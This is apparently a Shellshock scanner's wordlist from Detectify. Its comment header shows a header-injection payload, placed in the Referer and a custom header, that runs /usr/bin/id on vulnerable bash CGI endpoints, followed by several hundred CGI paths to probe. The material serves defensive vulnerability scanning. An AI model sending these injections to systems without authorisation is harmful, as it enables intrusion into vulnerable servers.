

Shellshock Scanner How it Works

```
#
#   . _   . _   . _   . _
#  ____| |__ ____| | | | ____| |__ ____| |__
# / ____/ | \ / ____\ | | | / ____/ | \ / ____\ | |
# \ ____\ | Y \ ____\ | | | \ ____\ | Y ( <_> ) \ ____\ | <
# / ____ > ____\ ^ ____ > ____/ ____/ ____ > ____\ ^ ____/ ____ > ____\
#   V   V   V       V   V       V   V
#
# https://detectify.com/
# @detectify
#
# Our automatic test will iterate all below specified URLs until
# it finds a vulnerable end-point where it will inject the following # payload:
#
# GET /$LIST HTTP/1.1
# Host: example.com
# User-Agent: https://shellshock.detectify.com/
# Accept: */*
# Referer: () { ::}; echo; /usr/bin/id
# X-Detectify: () { ::}; echo; /usr/bin/id

/
/_mt/mt.cgi
/admin.cgi
/administrator.cgi
/agora.cgi
/aktivate/cgi-bin/catgy.cgi
/analyse.cgi
/apps/web/vs_diag.cgi
/axis-cgi/buffer/command.cgi
/bandwidth/index.cgi
/bigconf.cgi
/cart.cgi
/cartcart.cgi
/ccbill/whereami.cgi
/cgi-bin-sdb/printenv
/cgi-bin/.cobalt/alert/service.cgi
/cgi-bin/.cobalt/message/message.cgi
/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi
/cgi-bin/.namazu.cgi
/cgi-bin/14all-1.1.cgi
/cgi-bin/14all.cgi
/cgi-bin/a1disp3.cgi
```

/cgi-bin/a1stats/a1disp3.cgi
/cgi-bin/a1stats/a1disp4.cgi
/cgi-bin/add_ftp.cgi
/cgi-bin/addbanner.cgi
/cgi-bin/adduser.cgi
/cgi-bin/admin.cgi
/cgi-bin/admin.pl
/cgi-bin/admin/admin.cgi
/cgi-bin/admin/setup.cgi
/cgi-bin/adminhot.cgi
/cgi-bin/adminwww.cgi
/cgi-bin/af.cgi
/cgi-bin/aglimpse.cgi
/cgi-bin/alienform.cgi
/cgi-bin/AnyBoard.cgi
/cgi-bin/architext_query.cgi
/cgi-bin/astrocam.cgi
/cgi-bin/AT-admin.cgi
/cgi-bin/AT-generate.cgi
/cgi-bin/auction/auction.cgi
/cgi-bin/auktion.cgi
/cgi-bin/ax-admin.cgi
/cgi-bin/ax.cgi
/cgi-bin/axs.cgi
/cgi-bin/badmin.cgi
/cgi-bin/banner.cgi
/cgi-bin/bannereditor.cgi
/cgi-bin/bb-ack.sh
/cgi-bin/bb-hist.sh
/cgi-bin/bb-histlog.sh
/cgi-bin/bb-hostsvc.sh
/cgi-bin/bb-rep.sh
/cgi-bin/bb-replog.sh
/cgi-bin/bbs_forum.cgi
/cgi-bin/bigconf.cgi
/cgi-bin/bizdb1-search.cgi
/cgi-bin/blog/mt-check.cgi
/cgi-bin/blog/mt-load.cgi
/cgi-bin/bnbform.cgi
/cgi-bin/book.cgi
/cgi-bin/boozt/admin/index.cgi
/cgi-bin/bsgquest.cgi
/cgi-bin/bslist.cgi

/cgi-bin/build.cgi
/cgi-bin/bulk/bulk.cgi
/cgi-bin/c_download.cgi
/cgi-bin/cached_feed.cgi
/cgi-bin/cachemgr.cgi
/cgi-bin/calendar/index.cgi
/cgi-bin/cartmanager.cgi
/cgi-bin/cbmc/forums.cgi
/cgi-bin/ccvsblame.cgi
/cgi-bin/cgforum.cgi
/cgi-bin/cgi_process
/cgi-bin/classified.cgi
/cgi-bin/classifieds.cgi
/cgi-bin/classifieds/classifieds.cgi
/cgi-bin/classifieds/index.cgi
/cgi-bin/commandit.cgi
/cgi-bin/commerce.cgi
/cgi-bin/common/listrec.pl
/cgi-bin/compatible.cgi
/cgi-bin/Count.cgi
/cgi-bin/csChatRBox.cgi
/cgi-bin/csGuestBook.cgi
/cgi-bin/csLiveSupport.cgi
/cgi-bin/CSMailto.cgi
/cgi-bin/CSMailto/CSMailto.cgi
/cgi-bin/csNews.cgi
/cgi-bin/csNewsPro.cgi
/cgi-bin/csPassword.cgi
/cgi-bin/csPassword/csPassword.cgi
/cgi-bin/csSearch.cgi
/cgi-bin/csv_db.cgi
/cgi-bin/cvsblame.cgi
/cgi-bin/cvslog.cgi
/cgi-bin/cvsquery.cgi
/cgi-bin/cvsqueryform.cgi
/cgi-bin/day5datacopier.cgi
/cgi-bin/day5datanotifier.cgi
/cgi-bin/db_manager.cgi
/cgi-bin/dbman/db.cgi
/cgi-bin/dcforum.cgi
/cgi-bin/dfire.cgi
/cgi-bin/diagnose.cgi
/cgi-bin/dig.cgi

/cgi-bin/directorypro.cgi
/cgi-bin/download.cgi
/cgi-bin/emu/html/emumail.cgi
/cgi-bin/emumail.cgi
/cgi-bin/emumail/emumail.cgi
/cgi-bin/enter.cgi
/cgi-bin/environ.cgi
/cgi-bin/ezadmin.cgi
/cgi-bin/ezboard.cgi
/cgi-bin/ezman.cgi
/cgi-bin/ezshopper/loadpage.cgi
/cgi-bin/ezshopper/search.cgi
/cgi-bin/ezshopper2/loadpage.cgi
/cgi-bin/ezshopper3/loadpage.cgi
/cgi-bin/faqmanager.cgi
/cgi-bin/FileSeek.cgi
/cgi-bin/FileSeek2.cgi
/cgi-bin/finger.cgi
/cgi-bin/flexform.cgi
/cgi-bin/fom.cgi
/cgi-bin/fom/fom.cgi
/cgi-bin/FormHandler.cgi
/cgi-bin/FormMail.cgi
/cgi-bin/gbadmin.cgi
/cgi-bin/gbook/gbook.cgi
/cgi-bin/generate.cgi
/cgi-bin/getdoc.cgi
/cgi-bin/gH.cgi
/cgi-bin/gm-authors.cgi
/cgi-bin/gm-cplog.cgi
/cgi-bin/gm.cgi
/cgi-bin/guestbook.cgi
/cgi-bin/handler
/cgi-bin/handler.cgi
/cgi-bin/handler/netsonar
/cgi-bin/hitview.cgi
/cgi-bin/hsx.cgi
/cgi-bin/html2html.cgi
/cgi-bin/html2wml.cgi
/cgi-bin/htsearch.cgi
/cgi-bin/icat
/cgi-bin/if/admin/nph-build.cgi
/cgi-bin/ikonboard/help.cgi

/cgi-bin/imageFolio.cgi
/cgi-bin/ImageFolio/admin/admin.cgi
/cgi-bin/infosrch.cgi
/cgi-bin/jammail.pl
/cgi-bin/journal.cgi
/cgi-bin/lastlines.cgi
/cgi-bin/loadpage.cgi
/cgi-bin/log-reader.cgi
/cgi-bin/login.cgi
/cgi-bin/logit.cgi
/cgi-bin/lookwho.cgi
/cgi-bin/lwgate.cgi
/cgi-bin/MachineInfo
/cgi-bin/magiccard.cgi
/cgi-bin/mail/emumail.cgi
/cgi-bin/mail/nph-mr.cgi
/cgi-bin/maillist.cgi
/cgi-bin/mailnews.cgi
/cgi-bin/main.cgi
/cgi-bin/main_menu.pl
/cgi-bin/man.sh
/cgi-bin/mini_logger.cgi
/cgi-bin/mmstdod.cgi
/cgi-bin/moin.cgi
/cgi-bin/mojo/mojo.cgi
/cgi-bin/mrtg.cgi
/cgi-bin/mt-static/mt-check.cgi
/cgi-bin/mt-static/mt-load.cgi
/cgi-bin/mt/mt-check.cgi
/cgi-bin/mt/mt-load.cgi
/cgi-bin/musicqueue.cgi
/cgi-bin/myguestbook.cgi
/cgi-bin/netauth.cgi
/cgi-bin/netpad.cgi
/cgi-bin/newsdesk.cgi
/cgi-bin/nlog-smb.cgi
/cgi-bin/nph-emumail.cgi
/cgi-bin/nph-exploitscanget.cgi
/cgi-bin/nph-publish.cgi
/cgi-bin/nph-test.cgi
/cgi-bin/pagelog.cgi
/cgi-bin/pbcgi.cgi
/cgi-bin/perlshop.cgi

/cgi-bin/pfdispaly.cgi
/cgi-bin/pfdisplay.cgi
/cgi-bin/phf.cgi
/cgi-bin/photo/manage.cgi
/cgi-bin/photo/protected/manage.cgi
/cgi-bin/php.cgi
/cgi-bin/pollit/Poll_I_t_SSI_v2.0.cgi
/cgi-bin/pollssi.cgi
/cgi-bin/postcards.cgi
/cgi-bin/powerup/r.cgi
/cgi-bin/printenv
/cgi-bin/probecontrol.cgi
/cgi-bin/profile.cgi
/cgi-bin/publisher/search.cgi
/cgi-bin/quickstore.cgi
/cgi-bin/quizme.cgi
/cgi-bin/r.cgi
/cgi-bin/ratlog.cgi
/cgi-bin/register.cgi
/cgi-bin/replicator/webpage.cgi/
/cgi-bin/responder.cgi
/cgi-bin/robadmin.cgi
/cgi-bin/robpoll.cgi
/cgi-bin/sbcgi/sitebuilder.cgi
/cgi-bin/scoadminreg.cgi
/cgi-bin/search
/cgi-bin/search.cgi
/cgi-bin/search/search.cgi
/cgi-bin/sendform.cgi
/cgi-bin/shop.cgi
/cgi-bin/shopper.cgi
/cgi-bin/shopplus.cgi
/cgi-bin/showcheckins.cgi
/cgi-bin/simplestguest.cgi
/cgi-bin/simplestmail.cgi
/cgi-bin/smartsearch.cgi
/cgi-bin/smartsearch/smartsearch.cgi
/cgi-bin/snorkerz.bat
/cgi-bin/snorkerz.cmd
/cgi-bin/sojourn.cgi
/cgi-bin/spin_client.cgi
/cgi-bin/start.cgi
/cgi-bin/store.cgi

/cgi-bin/store/agora.cgi
/cgi-bin/store/index.cgi
/cgi-bin/survey.cgi
/cgi-bin/talkback.cgi
/cgi-bin/technote/main.cgi
/cgi-bin/test.cgi
/cgi-bin/test.cgi
/cgi-bin/test/test.cgi
/cgi-bin/test2.pl
/cgi-bin/testing_whatever
/cgi-bin/tidfinder.cgi
/cgi-bin/tigvote.cgi
/cgi-bin/title.cgi
/cgi-bin/traffic.cgi
/cgi-bin/troops.cgi
/cgi-bin/ttawebtop.cgi/
/cgi-bin/ultraboard.cgi
/cgi-bin/upload.cgi
/cgi-bin/urlcount.cgi
/cgi-bin/viewcvs.cgi
/cgi-bin/viralator.cgi
/cgi-bin/virgil.cgi
/cgi-bin/vote.cgi
/cgi-bin/vpasswd.cgi
/cgi-bin/way-board.cgi
/cgi-bin/way-board/way-board.cgi
/cgi-bin/webbbs.cgi
/cgi-bin/webcart/webcart.cgi
/cgi-bin/webdist.cgi
/cgi-bin/webif.cgi
/cgi-bin/webmail/html/emumail.cgi
/cgi-bin/webmap.cgi
/cgi-bin/webspirs.cgi
/cgi-bin/whois.cgi
/cgi-bin/whois/whois.cgi
/cgi-bin/whois_raw.cgi
/cgi-bin/wrap
/cgi-bin/wrap.cgi
/cgi-bin/wwwboard.cgi.cgi
/cgi-bin/YaBB/YaBB.cgi
/cgi-bin/zml.cgi
/cgi-sys/addalink.cgi
/cgi-sys/defaultwebpage.cgi

/cgi-sys/domainredirect.cgi
/cgi-sys/entropybanner.cgi
/cgi-sys/entropysearch.cgi
/cgi-sys/FormMail-clone.cgi
/cgi-sys/helpdesk.cgi
/cgi-sys/mchat.cgi
/cgi-sys/randhtml.cgi
/cgi-sys/realhelpdesk.cgi
/cgi-sys/realsignup.cgi
/cgi-sys/signup.cgi
/cgis/wwwboard/wwwboard.cgi
/connector.cgi
/cp/rac/nsManager.cgi
/create_release.sh
/CSNews.cgi
/csPassword.cgi
/dcadmin.cgi
/dcboard.cgi
/dcforum.cgi
/dcforum/dcforum.cgi
/debug.cgi
/details.cgi
/edittag/edittag.cgi
/emumail.cgi
/enter_bug.cgi
/ez2000/ezadmin.cgi
/ez2000/ezboard.cgi
/ez2000/ezman.cgi
/fcgi-bin/echo
/fcgi-bin/echo2
/Gozilla.cgi
/hitmatic/analyse.cgi
/html/cgi-bin/cgicso
/index.cgi
/info.cgi
/infosrch.cgi
/login.cgi
/mailview.cgi
/main.cgi
/megabook/admin.cgi
/ministats/admin.cgi
/mods/apage/apage.cgi
/musicqueue.cgi

/ncbook.cgi
/newpro.cgi
/newsletter.sh
/oem_webstage/cgi-bin/oemapp.cgi
/page.cgi
/parse_xml.cgi
/photo/manage.cgi
/photodata/manage.cgi
/print.cgi
/process_bug.cgi
/pub/english.cgi
/quikmail/nph-emumail.cgi
/quikstore.cgi
/reviews/newpro.cgi
/ROADS/cgi-bin/search.pl
/sample01.cgi
/sample02.cgi
/sample03.cgi
/sample04.cgi
/sampleposteddata.cgi
/scancfg.cgi
/servers/link.cgi
/setpasswd.cgi
/SetSecurity.shm
/shop/member_html.cgi
/shop/normal_html.cgi
/site_searcher.cgi
/siteUserMod.cgi
/submit.cgi
/technote/print.cgi
/template.cgi
/test.cgi
/upload.cgi
/userreg.cgi
/users/scripts/submit.cgi
/Web_Store/web_store.cgi
/webtools/bonsai/ccvsblame.cgi
/webtools/bonsai/cvsblame.cgi
/webtools/bonsai/cvslog.cgi
/webtools/bonsai/cvsquery.cgi
/webtools/bonsai/cvsqueryform.cgi
/webtools/bonsai/showcheckins.cgi
/wwwadmin.cgi

/wwwboard.cgi

/wwwboard/wwwboard.cgi